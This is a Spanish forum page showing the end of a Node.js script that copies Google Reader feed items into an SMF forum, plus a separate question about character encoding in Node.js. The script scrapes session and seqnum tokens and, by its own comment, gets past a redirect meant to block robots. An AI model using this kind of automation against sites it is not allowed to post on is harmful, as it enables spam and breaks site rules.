  201. console.log(' - Verificando la cuenta ...');
  202. /* Carga la url de redirección que previene el ingreso de robots (menos este) */
  203. http.get(res4.headers.location, function(res5){
  204. /* Se ha finalizado la conexión de verificación, no es necesario procesar los datos */
  205.  
  206. /* Postea en el foro los items */
  207. var idPost = 0;
  208. var postea = function(data, hash){
  209.  
  210. /* Vuelve a verificar por segunda ves que la noticia no fue posteada para asegurarnos */
  211. if(fs.existsSync('./' + dirNombreDB + '/' + escape(hash))){
  212. console.log(' - El post ya existe.');
  213. idPost++;
  214. obtieneToken();
  215. return false;
  216. }
  217.  
  218. var post2 = http.get({
  219. host : foro.host,
  220. port : foro.port,
  221. path : foro.pathPhp + '?action=post2;start=0;board=' + parseInt(foro.idForo),
  222. method : 'POST',
  223. headers: {
  224. 'Cookie' : foro.cookies,
  225. 'Content-Type' : 'application/x-www-form-urlencoded',  
  226. 'Content-Length' : data.length  
  227. }
  228. }, function(res6){
  229.  
  230. /* esperando un HTTP 302 */
  231. if(res6.statusCode == 302){
  232.  
  233. /* Si no existe el directorio de la base de datos lo creará */
  234. if(!fs.existsSync('./' + dirNombreDB))
  235. fs.mkdir('./' + dirNombreDB);
  236. fs.mkdir('./' + dirNombreDB + '/' + escape(hash));
  237.  
  238. /* Se ha finalizado el posteo, no es necesario procesar los datos */
  239. idPost++;
  240. obtieneToken();
  241.  
  242. }else if(res6.statusCode == 200){
  243. /* Acceso denegado? */
  244. bufferIO = '';
  245. /* Procesa el contenido */
  246. res6.on('data', function(chunk6){
  247. bufferIO += chunk6.toString() + '';
  248. }).on('end', function(){
  249. // console.log(bufferIO);
  250. console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode + '. Baneado?');
  251. return false;
  252. });
  253.  
  254. }else{
  255. console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode);
  256. return false;
  257. }
  258.  
  259. });
  260. try{ post2.write(data); }catch(e){}
  261. }
  262.  
  263. var obtieneToken = function(){
  264. if(typeof(obNoticias.items[idPost]) == 'undefined'){
  265. console.log(' - Finalizado!');
  266. return true;
  267.  
  268. }else{
  269. console.log(' - Posteando [' + (idPost + 1) + '/' + nNoticias + ']: ' + obNoticias.items[idPost].title.substr(0, 48) + ' ...');
  270.  
  271. if(typeof(obNoticias.items[idPost].summary) == 'undefined')
  272. var content = obNoticias.items[idPost].content.content;
  273. else
  274. var content = obNoticias.items[idPost].summary.content + ' ... Seguir link de la fuente para continuar leyendo.';
  275.  
  276. /* Agrega la referencia */
  277. content += '<br /><br />Fuente: [url]' + obNoticias.items[idPost].alternate[0].href + '[/url]';
  278.  
  279. http.get({
  280. host : foro.host,
  281. port : foro.port,
  282. path : foro.pathPhp + '?action=post;board=' + parseInt(foro.idForo) + '.0',
  283. headers: { 'Cookie' : foro.cookies }
  284. }, function(res5){
  285. /* esperando un HTTP 200 */
  286. if(res5.statusCode == 200){
  287.  
  288. bufferIO = '';
  289. /* Procesa el contenido */
  290. res5.on('data', function(chunk5){
  291. bufferIO += chunk5.toString() + '';
  292. }).on('end', function(){
  293.  
  294. /* Obtiene el hash de posteo que no sirve de nada */
  295. var seqnum = bufferIO.split('input type="hidden" name="seqnum" value="');
  296. seqnum = seqnum[1].split('"');
  297. seqnum = seqnum[0].trim();
  298. var svEdit = bufferIO.split("sSessionVar: '");
  299. svEdit = svEdit[1].split("'");
  300. svEdit = svEdit[0];
  301. var siEdit = bufferIO.split("sSessionId: '");
  302. siEdit = siEdit[1].split("'");
  303. siEdit = siEdit[0];
  304.  
  305. postea(
  306. 'topic=0&icon=xx&sel_face=&sel_size=&sel_color=&message_mode=1&notify=0&lock=0&goback=1&sticky=0&move=0&additional_options=0seqnum=' + escape(seqnum) + '&' + escape(svEdit) + '=' + escape(siEdit) + '&subject=' + escape(obNoticias.items[idPost].title) + '&message=' + escape(content),
  307. md5(obNoticias.items[idPost].title)
  308. );
  309. });
  310.  
  311. }else{
  312. console.log(' - Error en el servidor del foro : ' + res5.statusCode);
  313. return false;
  314. }
  315.  
  316. }).on('error', function(e){
  317. console.log(' - Imposible conectar al servidor del foro.');
  318. return false;
  319. });
  320. }
  321. }
  322.  
  323. /* Inicia el loop de posteos */
  324. console.log(' - Sincronizando temas ...');
  325. obtieneToken();
  326.  
  327. }).on('error', function(e){
  328. console.log(' - Imposible conectar al servidor del foro.');
  329. return false;
  330. });
  331.  
  332. }else{ /* 302 sin cookies? */
  333. console.log(' - La clave de acceso al foro es incorrecta.');
  334. return false;
  335. }
  336.  
  337. }else{
  338. console.log(' - La clave de acceso al foro es incorrecta.');
  339. return false;
  340. }
  341.  
  342. }).on('error', function(e){
  343. console.log(' - Imposible conectar al servidor del foro.');
  344. return false;
  345. });
  346. try{ post.write(post_data); }catch(e){}
  347.  
  348. }else{
  349. console.log(' - No hay items para sincronizar :)');
  350. return false;
  351. }
  352.  
  353. });
  354.  
  355. }else{
  356. console.log(' - Error en el servidor de Google Reader : ' + res3.statusCode);
  357. return false;
  358. }
  359.  
  360. }).on('error', function(e){
  361. console.log(' - Imposible conectar al servidor de Google Reader.');
  362. return false;
  363. });
  364.  
  365. });
  366.  
  367. }else{
  368. console.log(' - Error en el servidor de Google Reader : ' + res2.statusCode);
  369. return false;
  370. }
  371.  
  372. }).on('error', function(e){
  373. console.log(' - Imposible conectar al servidor de Google Reader.');
  374. return false;
  375. });
  376. });
  377.  
  378. }else{
  379. console.log(' - Error en el servidor de cuentas de Google : ' + res.statusCode);
  380. return false;
  381. }
  382.  
  383. }
  384. ).on('error', function(e){
  385. console.log(' - Imposible conectar al servidor de cuentas de Google.');
  386. return false;
  387. });
  388.  
  389.  
  390. return true;

Si van a retocar el código por favor les pido que mantengan en la parte superior del código el nombre del autor, o sea yo.
200  Programación / Programación General / problemas con la codificación de carácteres en nodejs en: 14 Diciembre 2012, 15:37 pm
Hola, estoy creando un script en nodejs y el problema es que cuando le escribo un mensaje con acento solo se ve el signo de interrogación, se que esto se debe a que el script está hecho en latin iso y la consola se está ejecutando en utf8, pero no se como solucionarlo, he intentado reemplazar la codificación de carácteres de salida codificando y decodificando en utf8 pero no me resulta.

console.log('áéíóú');

Código:
iMac:nodeJs WHK$ node control.js
�����

Al utilizar encodeURIComponent() me retorna el carácter en utf8 pero transcrito del latin iso:

Código:
iMac:nodeJs WHK$ node control.js
�����

Una solución que encontré es utilizar replace('á', '\xe1') y funciona super bién, pero tendría que reemplazar cientos de carácteres latinos, minusculas, mayusculas, eñes, signos de interrogación etc y lo mas probable es que se me queden algunas afuera, por eso estoy buscando la forma correcta de hacerlo sin reemplazar letra por letra.

En php envío una cabecera de content-type con la codificación de carácteres, en nodejs como se ejecuta en consola tendría que configurar la consola para que se ejecute en latin iso, pero en ves de esto puedo declarar algún tipo de cabecera o instrucción a la shell para que trabaje en modo latin iso solo mientras se ejecuta el script? o decirle que todo el buffer de salida será latin iso?

Mientras tanto he solucionado el problema codificando el archivo del script a utf8 pero quiero usar latin iso para mayor comodidad.

Gracias :)
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20] 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ... 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines